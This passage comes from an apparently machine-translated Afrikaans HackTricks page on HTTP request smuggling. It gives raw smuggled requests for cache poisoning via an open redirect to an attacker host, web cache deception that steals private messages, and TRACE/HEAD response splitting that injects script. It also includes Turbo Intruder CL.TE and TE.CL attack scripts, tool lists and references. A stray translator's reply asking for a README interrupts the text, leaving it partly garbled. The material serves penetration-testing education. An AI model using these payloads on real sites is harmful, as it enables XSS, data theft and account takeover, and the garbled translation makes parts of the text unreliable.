Hierdie tegniek raak besonders kragtig as ’n Open Redirect vulnerability gevind word of as daar ’n on-site redirect to an open redirect is. Sulke kwesbaarhede kan uitgebuit word om die gecachte inhoud van /static/include.js te vervang met ’n script onder die aanvaller se beheer, wat effektief ’n wye verspreide Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde /static/include.js versoek, moontlik maak.

Below is an illustration of exploiting cache poisoning combined with an on-site redirect to open redirect. The objective is to alter the cache content of /static/include.js to serve JavaScript code controlled by the attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Let op die ingeslote request wat gemik is op /post/next?postId=3. Hierdie request sal herlei word na /post?postId=4, deur gebruik te maak van die Host header value om die domein te bepaal. Deur die Host header te verander, kan die aanvaller die request herlei na hul domein (on-site redirect to open redirect).

Na suksesvolle socket poisoning, moet ’n GET request vir /static/include.js geïnisieer word. Hierdie request sal deur die eerder genoemde on-site redirect to open redirect request besmet word en die inhoud van die skrip wat deur die aanvaller beheer word, ophaal.

Daarna sal enige request vir /static/include.js die gekasde inhoud van die aanvaller se skrip bedien, wat effektief ’n wye XSS-aanval lanseer.

Gebruik HTTP request smuggling om web cache deception uit te voer

Wat is die verskil tussen web cache poisoning en web cache deception?

• In web cache poisoning, die aanvaller veroorsaak dat die toepassing sekere kwaadaardige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
• In web cache deception, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud wat aan ’n ander gebruiker behoort, in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Die aanvaller vervaardig ’n smuggled request wat sensitiewe gebruiker-spesifieke inhoud aflaai. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

As hierdie gesmokkelde versoek ’n cache entry bedoel vir static content (bv. /someimage.png) besoedel, kan die slagoffer se sensitiewe data van /private/messages onder die static content se cache entry cached raak. Gevolglik kan die aanvaller moontlik hierdie cached sensitiewe data terugkry.

Misbruik van TRACE via HTTP Request Smuggling

In this post word voorgestel dat as die server die metode TRACE geaktiveer het, dit moontlik kan wees om dit met HTTP Request Smuggling te misbruik. Dit is omdat hierdie metode enige header wat aan die server gestuur word as deel van die response body sal reflekteer. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Stuur asseblief die inhoud van die README.md wat jy vertaal wil hê. Ek sal alle relevante Engelse teks na Afrikaans vertaal en dieselfde markdown- en html-sintaksis preserver, sonder om kode, tegniekname, cloud/SaaS-name, die woord “leak”, “pentesting”, skakels, paaie of merkmerke/tags te vertaal.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

’n Voorbeeld van hoe om hierdie gedrag te misbruik sou wees om smuggle first a HEAD request. Hierdie request sal slegs met die headers van ’n GET request beantwoord word (Content-Type onder hulle). En smuggle immediately after the HEAD a TRACE request, wat die gestuurde data sal weerspieël.
Aangesien die HEAD response Content-Length header sal bevat, sal die response van die TRACE request as die body van die HEAD response behandel word, en gevolglik arbitrêre data in die response weerspieël.
Hierdie response sal na die volgende request oor die konneksie gestuur word, dus kan dit used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Om voort te gaan, word dit voorgestel om this post te volg as ’n ander manier om die TRACE method te misbruik. Soos opgemerk, deur ’n HEAD request en ’n TRACE request te smuggle, is dit moontlik om sekere weerspieëlde data te beheer in die response op die HEAD request. Die lengte van die body van die HEAD request word hoofsaaklik aangedui in die Content-Length header en word gevorm deur die response op die TRACE request.

Dus is die nuwe idee dat, deur hierdie Content-Length en die data wat in die TRACE response gegee word te ken, dit moontlik is om die TRACE response ’n geldige HTTP response te laat bevat ná die laaste byte van die Content-Length, wat ’n aanvaller toelaat om die versoek na die volgende response volledig te beheer (wat gebruik kan word om cache poisoning uit te voer).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal hierdie antwoorde genereer (let hoe die HEAD-antwoord ’n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word ’n geldige HTTP-antwoord gesmokkel):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Wapenisering van HTTP Request Smuggling met HTTP Response Desynchronisation

Het jy ’n HTTP Request Smuggling kwesbaarheid gevind en weet nie hoe om dit uit te buit nie? Probeer hierdie ander metodes van uitbuiting:

HTTP Response Smuggling / Desync

Ander HTTP Request Smuggling-tegnieke

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Gereedskap

• HTTP Hacker (Burp BApp Store) – visualiseer concatenation/framing en laagvlak HTTP‑gedrag
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Hierdie tool is ’n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde request smuggling-ongereimthede te vind.

Verwysings

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Wees versigtig vir die valse vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
• https://portswigger.net/research/http1-must-die

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.